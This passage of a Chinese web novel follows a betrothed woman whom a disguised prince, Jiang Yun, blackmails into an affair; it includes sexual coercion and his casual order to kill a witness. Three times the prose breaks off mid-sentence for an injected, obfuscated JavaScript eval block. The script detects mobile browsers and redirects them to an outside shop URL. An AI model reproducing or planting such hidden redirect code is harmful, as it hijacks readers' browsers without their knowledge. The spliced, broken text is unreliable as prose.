室内很安静,薛宓娴屏着呼吸,为了不被发现,甚至不敢低声抽泣,只能咬着唇,身体微微颤抖。 江昀低下头,无人看见的地方,他唇边勾出一点意味不明的笑,轻声道: “原是如此,我明白了。” 程菩又想起了什么,叮嘱道: “回信之中,切记莫要说此事你找旁人商议过。不然你们兄弟之间,来日恐怕不好相处。你只管将事实说出来,莫要添油加醋,也莫要有所偏颇。” “若是言辞拿捏不定,你再找我便是。” 江昀颔首轻笑: “有劳程二哥费心了。” 恰在此时,大夫带着药方从屋外走入,身后跟着医童和婢女,要来取下程菩身上的银针。 新来的大夫很年轻,顶多比江昀年长几岁。他长相不错,可总是皱着眉,脸上凝着化不开的忧愁,看起来似有一种久经磋磨的疲惫感。 江昀告辞的同时,带走了藏在屏风后的薛宓娴。 …… “都听见了?” 江昀将薛宓娴带回了自己的院落,木门一闭,一切似乎又回到了昨夜。 薛宓娴只恨自己为何不能多忍一会儿,不过是难耐的情//潮,自己狠狠心,忍过那一阵子不就好了? 为什么偏偏要走出去?结果发生了这样的事…… 她恨死自己了。 江昀给自己倒了杯清茶,一饮而尽,也没忘记给薛宓娴留一杯: “哭什么?” 他眉梢轻挑,冷笑一声,似是不屑: “莫非你曾经以为,程菩是能容人的真君子。现下看清他与世俗上的那些个男人并无差别,所以才有所失落?” 薛宓娴吸了吸鼻子,抹去脸上的泪。 今日之事一波三折,她的发髻略微有些松散凌乱,连头上的步摇都有所歪斜。 她不想搭理江昀的话,低头深呼吸,努力让自己保持冷静: “昨夜之事,实为意外。” “我无意冒犯公子,想来你既肯救程二哥哥,定然也不愿让他为此等误会费神伤身。” “所以,还请你保守秘密,莫要将此事说与旁人。” “哦?” 江昀嗤笑着开口: “你怎知我不愿?” 薛宓娴没听清,愣了一下,轻声道: “什么?” 江昀反应更快,自觉言语疏忽,冷笑一声,转移了话题: “薛姐姐求人,便是这般态度?” 他倾身凑近了些,压低声音,眸光暗沉,让薛宓娴生出了一种莫名见不得光的耻感: “你若是不知该如何求人,我不介意再去问问程二哥。” 薛宓娴闭了闭眼,下定决心,立刻站起身,动作间无意打翻了桌上的茶盏,水滴沿着桌角滴落,沾湿了衣袖。 小臂处的衣料紧贴肌肤,传来若隐若现的凉意,但她顾不得了。 她跪坐在地上,就像府上那些吃酒误事了的仆妇向沈楹请罪那般,面向江昀。 他的阴影将她完全笼罩,让她无处遁形,无处可逃。 忍住翻涌的泪意,薛宓娴软语求道: “求你……帮我保守此事。” 江昀不为所动。 眼见着服软似乎也无效,薛宓娴又想了想,权衡着自己的能力,只能使出金钱贿赂一招。 而且,之前蕴娘说过,江家似乎很缺钱。 可她身边的银子不多,该怎么办? 不管了,江昀总不至于在程家永远住下去。 当务之急,是要先开个空头支票,只要给她一些时间,总能想出解决的办法。 薛宓娴咽了咽口水,开口道: “你想要多少银子,直接开个价便是了。” 这回,江昀笑意里没有参杂别的情绪,他只是单纯地想笑。 他微微俯身,单手自然地搁在膝上,衣袖冷硬的金线纹饰在她面前一闪而过: “不过是个寄居人下的表姑娘,你身上若当真有许多银两,还用得着委曲求全,嫁给一个命不久矣的病秧子么?” 他抿了抿唇,毫不客气地抬起薛宓娴的脸,眸光冷冷: “就算是你身上所有的积蓄,丢水里也不过听个响。” “这就是你的筹码?” 江昀长相实在是太过出众,即便是冷着脸,亦如画中清隽谪仙。 只是周身的少年意气化为浓烈的攻击性和掌控欲,严密地将薛宓娴包裹其中。 强势的压迫感让她的大脑有一瞬间的空白,什么都来不及考虑,只能遵从本能说出自己想说的话: “你……” “可江家不是很缺钱吗?” 江昀不自觉地愣了一下,但他没有让薛宓娴有任何反击的余地,只是哑声道: “那又如何?” “杯水车薪,还不至于让我动摇。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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按照程菩的意思,江昀借宿府上只是为了养伤。看他现在这幅模样,应当也不是什么大伤,左右不过十天半个月就可以离开。 狠下心来,也没什么大不了的。 只要把这段仰人鼻息的时间熬过去,她依旧能当上程家二夫人。 再说了—— 昨夜,她其实过得很舒服。 极为契合的身体,猛然爆发的力量,天赋异禀的配置和水到渠成的技巧…… 汇聚在一起,是难得尽兴的体验。 只是她现在不想承认罢了。 “我知道你想要的是什么。” “我可以答应你。” “但你也要保证,不会将此事随意告诉旁人。守口如瓶,保守秘密,不耽误我的婚事。” 江昀抬起她的脸,细细品鉴着我见犹怜的姿容,笑了笑,轻声道: “好姐姐。” “你早该如此做了,不是么?” 他口口声声唤着“姐姐”,可动作间压迫与威胁,却于无声处如影随形。 与此人周旋,必不能掉以轻心。 “今日我便放过你,至于往后我是否告密——” 江昀松开手,倒了盏茶,不急不慢地抿了一口: “就得看姐姐的表现了。” 薛宓娴无力辩驳,只想找个安静的地方冷静冷静,赶紧摆脱那道攀附在她身上,阴魂不散的视线。 离开前,她最后一次认真问道: “昨夜,当真不是你的手笔?” 江昀站在她身侧,面无表情地看着她,反问道: “你说呢?” 薛宓娴没有再问。 若真是江昀,以他的无耻程度,肯定会借此大书特书,或是再要挟她去做些什么难以启齿之事。 那,又会是谁? 5. 愧对 目送着她的身影消失在月门外,江昀回到屋内,只见一位身着夜行衣的男子,已等候多时。 “风升参见殿下。” “这是京城陆大人的来信。” 他递上一个信封,又问道: “今早撞破殿下和那娘子的鲁莽妇人,已经控制起来了,没有旁人知晓。” “如何处置,请殿下明示。” 江昀漫不经心地“嗯”了一声,撕开信封,淡淡道: “灭口。” 风升低下头,没有意外,似是早已习惯了主上的冷血绝情,漠然应是。 一目十行地看完信上内容,江昀面上的神色并无变化,仿佛早有所料。 他慢条斯理地把密信置于烛火之上,烧了个干净。 风升低声道: “殿下,和元公主那边,已经将九殿下并未失踪的消息散布了出去。皇后一直迟迟未有动静,只怕不会是好消息。” “至于程菩,一切如殿下所料。属下查到,他一直与京城官员往来甚密,只是唯独断了与皇后和魏王党的联系,暂不知其中因由。” 江昀冷笑一声,坐在桌前,提笔写了一封回信,递给风升: “继续盯紧程菩。另外,此信派人送给陆昭,就说一切如常,让他和公主见机行事。” 风升转身之际,他再次开口: “对了,昨夜之事,一日之限,务必请你仔细查明。” 风升皱了皱眉: “殿下在此地隐姓埋名,只为复仇一事,万万不可让那女娘扰乱大局……” 江昀嗤笑一声,放下手中的笔,打断道: “不必多言,我心中有数。” 风升低声应是,片刻后消失在了屋内,来去无踪。 江昀低下头,意味不明地笑了一下,摸出怀中的小衣,仔细叠好。 那件小衣放在掌心,几乎感受不到重量,只有若有若无的体香提醒着他此物的来历。 他将这件小衣放入密匣,落了锁。 闲来无事的消遣罢了,怎会乱了他的心神? 当真荒唐。 …… 听说薛宓娴是去找程菩了,蕴娘便也没有多想。 往常,姑娘独自去找二公子的事也是常有的,任谁来看都没什么奇怪的。 浑然不觉间,已是过了饭点。蕴娘揉了揉肚子,去小厨房取点能裹腹的吃食。 婆子见了,便好心提醒,问要不要再做些点心,一并带回去,以备主子的不时之需。 薛宓娴素来食量不大,若是用过午饭,便不会再吃点心了。这个习惯,府上人人皆知。 因而蕴娘奇怪道: “二公子那边,没有传午饭么?” 婆子回答: “没有。方才我还特意问过,薛姑娘并未去见二公子。” 蕴娘当即出门去找,结果在半路遇上了薛宓娴。 她看着自家姑娘眼睛红红的,鼻尖也红红的,瞧着可怜得很,便忍不住开口问道: “姑娘,发生什么事了?” 薛宓娴抬手抹去眼泪,露出一个笑来: “没什么,我很好。” 蕴娘自然不信,但她也并未追问。 她知道,按照自家姑娘的性子,即使是受了委屈,一般也不会对旁人说,只会憋在自己心里。 更何况这会儿若是非要刨根究底,无异于伤口撒盐,倒不如等姑娘自己想明白了,主动把事情揭过去。 …… 方才经历了如此之事,薛宓娴形容憔悴,在蕴娘的提议下,重新梳洗了一番。 蕴娘放下手中的木梳,从妆奁中拿出一盒香粉,揭开递过去: “姑娘,这些都是二公子昨儿晚上送来的。” “来不及跟姑娘说,便先收下了。这香粉说是名贵白兰研磨后兑上各式香料,比寻常的粉要好用些。” 说完,蕴娘又取出一个白玉盒子,里头装着膏妆的胭脂。 薛宓娴轻轻地挑起一点,在掌心化开,沾上手指,便能闻见浮动的花香,顺着指尖沁入颊唇。 蕴娘笑着说道: “这胭脂也是二公子送来的。” “瞧这颜色比寻常的那些鲜亮,是极衬姑娘的。” 程菩自道观静修归来,不过分别数日,他自己身体不好,兼之遇上劫匪那等子糟心事,却还分神惦记着她,又是送平安玉,又是送香粉胭脂。 这份记挂的心,很难不让人为之动容。 可一想到昨夜,一想到江昀。 薛宓娴蹙起眉,只觉手中小巧精致的白玉盒仿佛变成了烫手山芋,身上所妆点的每一缕香,都在昭示着她的背叛行径。 如今,是她对不起程菩。 …… 薛宓娴原本只是想小憩,可她埋在床榻上,一睡就是许久。 再次睁开眼睛的时候,屋外日光换了新,鸟雀的鸣叫声在春日跃动,清风抚过薄纱帐幔,送来若隐若现的第一缕花香。 许是因为昨日程老夫人的话,尽管她反常地贪睡,但也没有人说什么闲话,甚至起身后,蕴娘还端来了一碗安神汤。 白瓷的小汤勺搅动着,薛宓娴看见程菩所赠的平安玉,再思及江昀,忍不住想要叹气,但又觉得自己不应该如此消极,便忍了回去。 蕴娘与她朝夕相伴,对异样的情绪很是敏锐: “姑娘,在想什么?” 低垂的睫羽轻轻颤动,薛宓娴没有回答。 午后,沈楹那边来了人,请她过去小坐。 离程老夫人的寿宴还有段时日,按理来说,应该也不难张罗。 今年过的生辰不是整数,加之又有往常的例子在,只不过按照人数,酌情增减用度罢了。 但是,届时程老爷会请几位友人来府上叙旧,也是要一起参加寿宴的。可老夫人又特意吩咐,不许办得太铺张浪费。 其中的这个度,自然就要重新定夺。 还有江昀,他虽是旁支亲戚,但如今成了程菩的恩人,在府上借宿,身份特殊,少不得要把他的份例也一并算上。 光是想想这些事儿,薛宓娴就有些头疼。 步入室内,沈楹面前放着账本,纤长的手指拨弄着算珠。 见要找的人来了,她也是抬眸一瞥,而后又低下头: “妹妹先坐。” 薛宓娴一直觉得,沈楹有成大事的潜能。待在程家后宅,实在是辱没了她的才识。 她出身大族,琴棋书画,样样精通。作为程府实际上的当家主母,府上婢女小厮,婆子家丁,全部都归她管。 至于年节家宴的筹备,从人员调动到细枝末节的布置,也几乎是沈楹一人独揽全局。 除此之外,诗词歌赋,沈楹也不逊于那些书生分毫。曾经为丈夫程荇代笔所写的文章,至今仍为人称道。 提笔在账目上落下批注,沈楹起身走过来,缓缓坐在软榻的另一侧,抿了一口茶: “老太太的寿宴,我已是有些眉目。只是,这次要考虑周全的事项多,我一个人恐怕顾不上。” “所以,少不得请妹妹与我一同张罗。” 交流越多,薛宓娴便越发敬佩沈楹。 家中大小事宜,支出收入的银两,沈楹都记得清清楚楚。 即便是一时拿捏不准的,她也决不会说“大概”、“或许”这样模棱两可的词,只是先按下待定,让薛宓娴先记着,等核对好了再算到账上。 纸墨未干,薛宓娴搁下笔,刚想开口说点什么—— 只见沈楹左手支肘扶额,撑在案边,广袖顺着白皙的小臂缓缓滑落下来,手中握着的礼单垂放在腿上,呼吸平稳绵长,已然睡去。 她实在是用了太多脂粉遮掩,至少,目的是达到了。如果不凑近仔细打量,很难看出眼下那片因未曾休息好而导致的浅浅乌青。 沈楹的贴身侍女霜娘走了进来,尚未看见自家夫人的模样,本能地开口道: “夫人,三姑娘来了。她说……” 薛宓娴起身,竖起一根手指,轻轻地摇了摇头,无声地比划道: 别吵着她。 我们出去说。 …… 才不过走到院中,便有一团鹅黄色的影子朝着薛宓娴扑了过来,直直撞入她的怀里: “薛姐姐!” 来人正是程府的三姑娘,程菩的幺妹,程茹。 小姑娘年纪不过十一二岁左右,面容白净,明眸皓齿,很招人喜欢。 程茹紧紧抱着薛宓娴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956647|193155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的腰,在她身上蹭了蹭,又去抓那背在身后的手: “薛姐姐背着我,又藏了什么好吃的?” 薛宓娴故意将手拿高了些,弯腰笑道: “要猜对了才能吃。” 小姑娘蹙起眉头,咬了咬唇,看起来十分纠结: “嗯……嗯……是绿豆酥!” 趁着她张嘴的功夫,薛宓娴把手中的点心掰下一小块儿,塞进她的口中,捏了捏那圆圆的脸: “是什么?” 小姑娘嚼了嚼,抬起头,信心满满道: “桃花糕!” 薛宓娴笑着揉了揉她的脑袋,把手里的糕点递过去,拉着她坐在石凳上: “可是有什么事?” 程茹双手抓着糕点,凑近了些,水灵灵的眼睛里闪着跃动的微光: “薛姐姐,想不想去游湖踏春?” 薛宓娴微微蹙眉: “去哪儿?” 程茹脆声道: “镜山湖!” 这地方她知道,是江南小城中的的风景名胜。 湖边的小山顶上有一座古寺,庙中僧人很好说话,常邀过路旅人来享用美味素斋。 眼下已是四月,正是山间桃花盛开的好时候,倒是个踏青出游的良机。 只是…… 程茹满是期待地凑过来: “薛姐姐,你觉得我这个主意可好?” 她正想把剩余半块的糕点塞进嘴里,却不料横过来的一只手,竟将那糕点给夺了下来。 “程茹,我昨日交代的话,你全当耳旁风是不是?” 程茹头也不回,熟练灵活地躲到薛宓娴身后,探出半个脑袋,可怜巴巴地唉声唤道: “二哥——” 程菩虽是个体弱的病公子,平日里为人又温润有礼,但他在妹妹面前是极有威严的,板起脸的样子能把程茹直接吓哭。 薛宓娴现在还记得,小姑娘抹着眼泪,偷偷往她的院子里钻的模样。 许是因为方才走得急,程菩还有些喘,平息了好一会儿,才在薛宓娴身侧坐下: “小妹顽劣,娴娘莫要纵着她。” 薛宓娴亦是一怔,盯着程菩好一会儿,才开口道: “二哥哥怎么来了?” 程菩笑了笑,搭上薛宓娴的手,轻轻地拍了拍: “大夫说,若是没事,可以常出来走动走动,总比一直卧床强。” 另一边,程茹看兄长不但夺她点心,还当着她的面把点心吃了,简直是挑衅。 她当即撇了撇嘴,嘹亮的哭声蓄势待发。 知妹者莫若兄,程菩不等她发作,便已经伸手捂住她的嘴,瞪了她一眼: “不许哭。” 看着妹妹的可怜样儿,程菩不由得有些心软,开口解释道: “忘了么?你现在吃着调养身体的方子,不宜吃太多甜食。就算再想,且先忍过这段时日。” 薛宓娴看着程茹皱起的小脸,于心不忍。 她略有些嗔怪地瞥了程菩一眼,轻轻拨开他的手,将程茹抱进自己的怀里。 程茹扁了扁嘴,紧紧抱着薛宓娴,留给自家哥哥一个决绝的背影,低声道: “踏春一事,姐姐怎么想?” “我们和大嫂一起去,再带上老太太。哼,反正不带二哥。” 程菩笑着摇了摇头: “我听得见。” 听程茹把她的点子复述了一遍,只见程菩思忖片刻,开口道: “是个好主意。老太太总念叨着古寺的素斋,大嫂管家劳累,寻个休息的机会,出去走走总是好的。” 薛宓娴出声提醒: “大公子呢?” 提及他大哥,程菩面色微变,抿唇冷笑: “他向来不爱这些,问了也是讨嫌。” 薛宓娴低头笑了笑,伸手捏捏程茹的小脸。 “还有江家兄弟,也一并去吧。” 听见这话,她的动作一顿,缓缓抬眸,恰好对上程菩温柔的视线。 不过是弹指一瞬,又似是隔世之久。 “娴娘。” 程菩轻声唤她,凑近了些,眸色沉沉,笑了笑: “你是不是有事瞒着我?” 6. 送药 似乎是有什么东西在头脑中炸开,她的思绪在瞬间茫然一片。 程菩只是微笑着,一如既往,滴水不漏,分辨不出情绪和喜怒。 薛宓娴心里有鬼,不自觉地开始慌乱。 她忍不住去想: 若是被发现了,程菩欠江昀一条命,自然不会对他怎么样。 她往后的日子,又该怎么过呢? 抿了口茶,薛宓娴用苦涩回甘的味道强迫自己冷静下来,若无其事地笑了笑: “二哥哥何出此言?” 她不擅长撒谎,很容易被人看穿,仅有的几次尝试都以失败告终。所以,她选择用问题去回答程菩。 程菩轻笑着摇头: “瞧你,我只是觉得,你今日心情不好,对么?” 他的手指无意识地在桌上点了点,只是轻微的声响,却不自觉地让薛宓娴全身紧绷。 她的眸光倾注在了那开合的唇瓣上,心跳声似是能震动胸腔,高度紧张的神经让她不自觉地吞咽了一下。 程菩注视了她一会儿,低声道: “娴娘,你不喜欢江公子,是不是?” 薛宓娴不明白他为何突然这么问,眨了眨眼,思量了片刻,试探道: “二哥哥,我与他不过一面之缘,更何况,我是你的未婚妻,日后总是要夫妻一体的。” “他既是你的恩人,便也是我的恩人。” “我敬重都来不及,何来不喜欢这一说?” 程菩是最会察言观色的,在京城的那些时日,若是不会揣摩人心的功夫,一个懦弱鲁莽的爹和一个纨绔拖油瓶的大哥,早就够他死上千万回了。 更何况薛宓娴是他的心上人,她的一颦一笑,他日夜描摹,病痛缠身的日子,唯有想着她的身影,才能苦苦熬过来。 所以,她的心思,对他来说,其实并不难猜。 程菩直起身子,没有拆穿,只是柔声道: “我不是说过么,在我面前,你不必有心事。” 薛宓娴张了张嘴,不知道该说些什么。程菩语焉不详,让她猜不透他究竟是否知道了那件事,又或者,知道了多少…… 但如果事情败露,程菩在她面前,应该不会如此平静。 别自己吓自己了。 她在心里对自己说。 程茹恰好从她的怀中抬起头,抱着薛宓娴,学着长辈的样子,轻轻地拍了拍她的背: “薛姐姐若是不喜欢那位哥哥,咱们便不带他了。” “有我呢,还有大嫂嫂……好吧,勉强算上那个不靠谱的二哥,不会让任何人欺负了姐姐的!” 程菩哼了一声: “字帖写得如何了?让人送来我看看。” 程茹最讨厌二哥检查功课,登时生了气,鼓着脸嘟囔道: “看就看,多管闲事会长白胡子的。” “有白胡子的人丑得很,到时薛姐姐就不要你了。” 程菩瞬间冷下脸,低声道: “程茹。” 薛宓娴笑着摸摸小姑娘的脑袋,深吸一口气,开口道: “只是如此,怕江公子心里难免会多想,不合礼数。老太太若是问起来,必然也要生气的。” “我并未对江公子有任何心思,还是一同去吧。” 程菩看着她,片刻后点了点头: “也好,那此事便交由我来安排。” 薛宓娴戳了戳程茹的小脸,莞尔一笑。 …… 踏春定在三日后,薛宓娴不忍见沈楹再如此劳累,撒娇相求,让她安心休息,自己则主动接过了府中清账的工作。 好在江昀这段时间并未前来找她,听说他一直在自己院中养伤,程老夫人连他的请安都免了。 薛宓娴心下虽有些不安,但事已至此,也没有更好的办法,便投入了打点账事以及陪着沈楹筹办寿宴的忙活中。 出游之日前,薛宓娴埋在自己的院里忙活了整整一天。 直到夕阳染红半边天幕,朦胧余晖透过层叠的轻云,飘散着落入院中。 薛宓娴恰好理完账目,她放下笔,活动了一下手腕,趁着四下无人,放肆地伸了个懒腰。 按照规矩,尽管程府的账目需要由沈楹把关,但最后仍要给程菩过目,哪怕病着,也不得例外。 在程老夫人与程老爷不常过问家事后,他便成了府中最终拍板决议的主事人。 沈楹今日外出打理商铺了,薛宓娴跑了个空。 得知沈楹要晚归,她思来想去,最终还是抱起账簿,直接去寻了程菩。 蕴娘本想跟着,可薛宓娴怕时间太久,便留她在院子里,自己独自出了门。 另一边,程菩刚施完针,未着寸缕。 婢女一时疏忽,竟也未通报,直接领着薛宓娴走了进去。 程菩的反应比任何人都快,他一把抓起放在身旁的单衣,动作幅度之大,差点撞翻大夫手中那装满银针的托盘。 反应过来自己看到了什么,薛宓娴立刻闭上眼睛,抬袖遮住泛红的脸颊,连连后退。 她抵靠着身后的书架上,低头轻声道: “对不住。” 过了没多会儿,只听一道清冷平缓的声音传了过来: “二公子已经穿戴整齐了。” 薛宓娴放下衣袖,缓缓抬起头,只见眼前站着一位青衫白袍的公子。 墨发披散,仅用木钗束着。他长相标致,五官清秀,长眉下的一双瑞凤眼颇具古韵之美,看得她有一瞬间失神。 程菩轻咳了一声,拉回她的注意: “这位是老太太新请来的大夫,张珏。” 薛宓娴敛衽行礼: “见过张公子。” 说话的功夫,张珏已经收拾好了自己的银针,放入小木箱中。 他看了薛宓娴一眼,而后移开视线,拱手告退。 似是心有所感,薛宓娴回过头,只见张珏唇瓣翕动,一句叹息般的轻语飘入她的耳中: “要是有阿司匹林就好了……” 等等! 薛宓娴眨了眨眼睛,她虽然没怎么学过药理,但是阿司匹林,应是化学合成的西药,显然是不属于这个朝代的东西。 难道他也是穿越过来的? 她转过身,刚走出几步,却见张珏的身影已经消失在了小院中,只留下一阵清浅的药香,勾动着无端兴奋的思绪。 如果找到在这个朝代的同类,哪怕不能相互扶持,说不定能从彼此的经历里,找到可以回家的办法。 她一定要想办法联系上张珏。 “他就如此好看么?” 身后响起程菩幽怨却又略带委屈的声音。 薛宓娴侧身回眸,嫣然一笑: “哪有?” “在我心里,谁也比不上二哥哥呀。” 程菩哼了一声: “扯谎。” 可他的唇角却抑制不住地上扬,本想着遮掩一二,可笑意还是忍不住从眼睛里流露出来。 他对薛宓娴的夸赞受用得很,哪怕知道那可能不是真心的。 薛宓娴在他身边坐下,抬手挽起耳边的碎发,微微歪了歪脑袋,眸中闪烁着澄澈的光亮。 红润的唇轻轻勾起,绽出一个醉人而又甜美的笑容,她柔声道: “我的确是有事想寻张公子。二哥哥可否告诉我,他何时再会来?” 程菩看着她,愣了一瞬,红着脸转过头,重重咳了一声: “无可奉告。” 薛宓娴拉起程菩的手,贴在自己的脸颊上,眨了眨眼睛,纤纤玉指轻轻蹭过他的骨节,柔软的笑意如同清波荡漾: “好哥哥,你就告诉我吧。” 耳根烧红,程菩垂眸一笑,摇了摇头: “两日后,他会再来为我诊一次脉。” “不过——” 程菩抿了抿唇,反握住她的手,有些紧张地眨了眨眼睛,小心翼翼地开口试探道: “他真的比我好么?” 都说患得患失是男人最优秀的品质,古往今来,这句话当真从不欺她。 薛宓娴笑了笑,凑过去,在他的脸侧落下轻柔一吻: “这又是哪门子的计较?” “二哥哥才是我值得共度余生的良人。” 程菩偏过头,定定地注视着薛宓娴,片刻后如释重负地一笑,想要伸手拥她入怀,却又怕自己有所冒犯。 最终,他只是牵起薛宓娴的手,十指相扣。 半开的轩窗外,江昀定定地看着屋内相互依偎的人影,片刻后,无声拂袖离去。 …… 说完正事,薛宓娴陪着程菩用过晚饭,又说了一会儿闲话。 程菩留下了账本,不过是浅浅翻了几页,而后便让薛宓娴回去,说接下来的事交给他去做。 薛宓娴自然没有拒绝,看着程菩喝下汤药后,不多打扰他休息,起身离开。 行至月门处,她撞上了一个满头是汗的小医童。 小医童见过她,知道她是程菩身边的人,和程菩关系亲近,便把手中的东西递了过去: “这是调配好的金创药, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956648|193155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三日一换,共有一个月的量。方才师父忘了要交给府上姓江的那位公子,特意让我跑一趟送过来。” 他把金创药递给薛宓娴,说道: “劳烦姑娘代为转交。对了,师父还说,伤口今日必须要换药,不然若是溃烂,可麻烦了。” “师父还让我去城东跑一趟,此事就拜托姑娘了。” 小医童年纪不大,说完便拎着药箱,脚下一溜烟地跑了,独留薛宓娴一人拿着白瓷药瓶,进退两难。 她不想去见江昀。 可是,江昀的脾气她实在是琢磨不准。 若是让旁人代为传话送药,万一他计较起来,说自己另有二心,不肯保守秘密,麻烦就大了。 这会儿尚未入夜,府中人来人往,不过是送个药而已。 他未必敢对自己做什么。 踟蹰片刻,薛宓娴深呼吸几番,转身向江昀的小院走去。 …… 程菩对这位大恩人当真十分尽心,别院位置虽偏,但也因此少了许多纷扰。院中景致优美,竹林雅径后,竟还有一花圃。 这会儿正是百花斗艳的时候,淡淡的芬芳沁人心脾。 薛宓娴停下脚步,低下头,看着晶莹剔亮的小水珠顺着桃红的花瓣滴落。微风拂过,花枝在如纱般的清浅月光下轻轻颤动。 “有事?” 身后忽然传来江昀的声音,薛宓娴吓了一跳。 他莫非是属鬼的,怎么一点声音都没有…… 转身的时候绊了一下,江昀顺势揽着她的纤细柔软的腰,将她抱入怀中。 手指轻捋过鬓边的碎发,江昀埋在她的颈间,深深吸了一口气,而后才缓缓开口: “姐姐,莫忘了你还是程二哥未过门的夫人。” “就算是再想着那些事,也该矜持些。” 明明他自己就是那个衣冠禽兽,也好意思恶人先告状? 薛宓娴恼怒地推开他,恨自己刚才怎么没有想到要把那金创药立刻销毁。 伤口溃烂疼死他算了。 江昀握着她的手腕,吻上白皙的柔荑玉指,顺势轻轻地咬住那微凉的指尖。 他一句话没有说,但薛宓娴被他弄得忍不住轻轻颤动,身体发软,指尖断断续续的湿润触感让她心跳加速。 这会儿还在屋外,薛宓娴脸上烧热起来,挣扎着想逃: “我……我只是来给你送药的。” 她四下环顾,生怕被人撞见。 睫羽轻颤,那双桃花眸中水意盈盈,顾盼的动作间,眼波流转,似是藏了动人心魄的钩子,让人不由自主地为之心动。 …… 江昀再难忍耐,环着她的腰,单手扣在她的脑后,不容抗拒地将她按向自己。 他深深地吻过去,缓缓闭上了眼睛。 柔软的唇瓣厮磨着紧紧相贴,亲密的接触让薛宓娴感觉到了自己身体难以控制的异样。 她跟着闭上眼睛,气息急促,呜咽软语却尽数被他席卷着吞了下去,没有溢出分毫。 短暂的喘息间,二人的鼻尖依旧轻轻地磨着,江昀的一只手从腰间移动到了脸侧,指腹描摹着她耳朵的轮廓,指间略微粗糙的茧与柔软细嫩的肌肤形成鲜明对比。 薛宓娴垂眸,手不自觉地攥住了他的衣领,轻声道: “能不能……我们能不能进屋再说?” 她感到有些羞耻,泪意汹涌,却强忍着没有掉下来,只是盈在眸中,低垂欲落。 江昀嗤笑一声,手指恋恋不舍地从耳垂处移开,抬起她的脸,再度品味了一下那泫然欲泣的美貌。 他实在是太喜欢她珠泪欲垂的模样了。 过电般的快/感在瞬间流遍他的全身,每一处肌肉骨骼都情不自禁地舒展开来。 “这里没有人会看见。” 他在薛宓娴的耳边蛊惑低语: “姐姐情动难抑的模样,有多勾魂,只我一人知晓。” 薛宓娴推开他,把手里的药瓶塞过去: “我……药已经送到了,我便不多留了,你记得及时换药。” 说完,她转身想走,却被江昀拉住,揽入怀中。 他自背后抱着她,温热湿润的吐息洒落在她的颈后,有点痒,让她不由自主地想起那个荒唐雨夜的情/事。 那天,他也是这般,紧紧抱着她的。 薛宓娴的身子轻轻颤了一下,尽管细微,却依旧被江昀敏锐察觉。 “我还没动呢。” 他轻笑着,又一次吻在她的颈侧: “姐姐抖什么?” 7. 含玉 水蓝色的衣裙飘悠轻旋,连带着怀中的那块平安玉也跟着遭劫。 玉石坠地的轻响不过瞬息,便被忽而落下的一场疾雨掩盖。 原本是薛宓娴想要好好换药的,奈何公事公办的动作,在他的干扰下总是与目标背道而驰。 最后药没换成,到底还是浪费了不少。 恍惚间,方寸之间的世界天旋地转。 朦胧泪光中,她与江昀湿漉漉的眉眼直直相对。 暗沉的眸光中闪烁着浓烈锋锐的欲/望,还带着一点疯狂的迷恋,毫不遮掩地注视着她。 他低下头,与她十指相扣,一点一点吻过她的耳垂,即便是痒得发抖,也不容她躲。 薛宓娴的脸红得厉害,声音跟着身体一起颤抖: “别……你别咬,明天还要……还要见人……” “江昀……求你……” 嗓音暗哑,江昀沉声开口: “别叫我名字。” 他吻下来,直到她实在喘不上气才肯稍稍松开,哑声道: “说点好听的。” 薛宓娴偏开头,身体因为呼吸的急促而剧烈起伏: “什么?” 她忍不住发抖,却只听江昀嗤笑道: “需要我教你吗,姐姐?” 他有些恶劣地加了力道,同时捏着她的脸,再次紧密相贴: “郎君和主上,你更喜欢哪个?” 薛宓娴身体轻颤,不可置信地抬眸看他,挣扎着抬起手: “你……不知廉耻!” 江昀微微偏头,轻而易举地躲开了。 她此刻没有力气,神智迷离,反抗不过是以卵击石。 可诡异的是,江昀却并未因为她的抗拒而有丝毫不悦,反而眸光中渐渐浮起诡异的兴奋。 他的手指很不安分,她没忍住,挺身从床上挣扎着弹了起来,却又被他单手压着小腹,轻松按了回去。 半个身子险些翻落,幸而江昀反应很快,一把将她拉了回来,转了个方向,把人牢牢按在了榻上。 眼泪再一次顺着脸颊滑落,颤抖着没入枕中。 她伸出手,攥着锦被一角,眸光失焦。 柔软的唇又红又湿,带着浅浅的咬痕,是天生勾人的利器。 江昀低下身子,在她的耳边吹了口气,声音里带着恶劣的笑意: “姐姐,选一个吧。” 薛宓娴仰起头,紧紧咬着唇,表示自己的抗拒。 江昀这会儿倒是不多话,默默地用实际行动表达自己的态度。 薛宓娴终究服软,勾着他的颈,略有些吃力地抬起上身,贴近耳朵。 鼻尖的沉木香气越发浓烈,仿佛要将她里外沾染上这种味道。 她从二者中权衡择一,或许是为了表示抗议,声音几乎轻不可闻。 才不管江昀有没有听见,她脱力地倒了回去,阖上眼眸,打定了主意,绝对不会再开口。 